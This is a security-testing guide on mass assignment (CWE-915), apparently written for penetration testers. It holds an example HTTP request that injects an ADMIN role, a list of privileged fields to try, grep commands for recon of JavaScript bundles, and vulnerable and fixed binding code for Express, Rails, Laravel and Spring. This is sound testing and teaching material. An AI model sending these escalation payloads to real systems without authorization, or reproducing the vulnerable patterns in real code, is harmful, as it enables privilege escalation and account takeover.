Mass Assignment (CWE-915) Testing
Mass assignment (insecure object binding) occurs when an API binds user-supplied JSON directly to server-side models without field allow-listing. This enables privilege escalation by setting fields like roles, isAdmin, status, or ownership attributes.
Quick Start
- Find candidate endpoints - Look for self-service update routes
- Enumerate schema - Send safe update, observe response structure
- Test exploitation - Add privileged fields to request body
- Verify access - Re-authenticate and check for elevated privileges
1. Finding Mass Assignment Candidates
Target Endpoints
Focus on self-service update endpoints:
PUT/PATCH /api/users/{id}PATCH /me,PUT /profilePUT /api/orders/{id}POST /api/settings- Any endpoint that updates user-owned resources
Heuristics That Indicate Vulnerability
- Response echoes server-managed fields (
roles,status,isAdmin,permissions) even when not sent - Client bundles contain role names/IDs or privileged attribute names
- Backend accepts unknown fields without rejection
- Framework uses automatic binding (Rails, Laravel, Django ORM, Spring/Jackson, Express/Mongoose)
Schema Enumeration
Send a normal update with only safe fields to reveal the full schema:
PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json
{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry"
}
Analyze the response - Look for fields you didn't send:
{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": null, // ← Server-managed field
"status": "ACTIVATED", // ← Server-managed field
"filters": []
}
2. Exploitation - Role Escalation
Once you identify bindable privileged fields, include them in your update request:
PUT /api/users/12934 HTTP/1.1
Host: target.example
Content-Type: application/json
{
"id": 12934,
"email": "user@example.com",
"firstName": "Sam",
"lastName": "Curry",
"roles": [
{ "id": 1, "description": "ADMIN role", "name": "ADMIN" }
]
}
If successful:
- Response persists the role change
- Re-authenticate or refresh tokens to realize new privileges
- Check for new UI elements, admin endpoints, or elevated permissions
Common Privileged Fields to Test
roles, role, role_id, roleIds
isAdmin, is_admin, admin, admin_flag
status, account_status, user_status
permissions, permission_ids, feature_flags
owner_id, team_id, organization_id
verified, is_verified, email_verified
balance, credit, points, currency
3. Client Bundle Recon
Extract role names, IDs, and schema hints from JavaScript bundles:
# Basic role enumeration
strings app.*.js | grep -iE "role|admin|isAdmin|permission|status" | sort -u
# Find role constants and dropdowns
grep -oE '"(role|admin|permission|status)[^"]*"' app.*.js | sort -u
# Look for numeric role IDs
grep -oE 'role.*[0-9]+' app.*.js | head -20
# Find DTO/model shapes
grep -oE 'role.*:.*\{[^}]+\}' app.*.js | head -10
What to look for:
- Role name constants (ADMIN, STAFF, MODERATOR)
- Dropdown option lists with role values
- Validation schemas showing expected field names
- API client code showing request/response shapes
4. Framework-Specific Patterns
Node.js (Express + Mongoose)
Vulnerable:
app.put('/api/users/:id', async (req, res) => {
const user = await User.findByIdAndUpdate(req.params.id, req.body, { new: true });
res.json(user);
});
Test: Send roles or isAdmin in body - if persisted, vulnerable.
Fix: Use allow-list extraction:
const allowed = (({ firstName, lastName, nickName }) => ({ firstName, lastName, nickName }))(req.body);
const user = await User.findOneAndUpdate({ _id: req.params.id, owner: req.user.id }, allowed, { new: true });
Ruby on Rails
Vulnerable:
def update
@user.update(params[:user]) # roles/is_admin can be set by client
end
Test: Include role or is_admin in params - if persisted, vulnerable.
Fix: Strong parameters:
def user_params
params.require(:user).permit(:first_name, :last_name, :nick_name)
end
Laravel (Eloquent)
Vulnerable:
protected $guarded = []; // Everything mass-assignable
Test: Send any field in JSON body - if persisted, vulnerable.
Fix: Explicit fillable:
protected $fillable = ['first_name', 'last_name', 'nick_name'];
Spring Boot (Jackson)
Vulnerable:
public User update(@PathVariable Long id, @RequestBody User u) {
return repo.save(u);
}
Test: Send roles or admin fields - if persisted, vulnerable.
Fix: Use DTO with only allowed fields:
record UserUpdateDTO(String firstName, String lastName, String nickName) {}
5. Testing Workflow
Step-by-Step Process
- Identify endpoints - Find all PUT/PATCH routes that update user resources
- Baseline request - Send update with only safe fields, capture full response
- Schema analysis - Note all server-managed fields in response
- Payload crafting - Build test payloads with each privileged field
- Exploitation attempt - Send crafted payloads, check if changes persist
- Verification - Re-authenticate, check for elevated access
- Documentation - Record vulnerable endpoints and payloads
Quick Test Script
Use the scripts/find-mass-assignment-fields.sh script to extract potential target fields from client bundles:
./scripts/find-mass-assignment-fields.sh <bundle-file.js>
6. Reporting
When documenting mass assignment vulnerabilities:
- Endpoint - Full URL and HTTP method
- Vulnerable fields - List of fields that can be modified
- Impact - What privileges can be escalated (e.g., user → admin)
- Proof of concept - Request/response showing exploitation
- Remediation - Framework-specific fix recommendations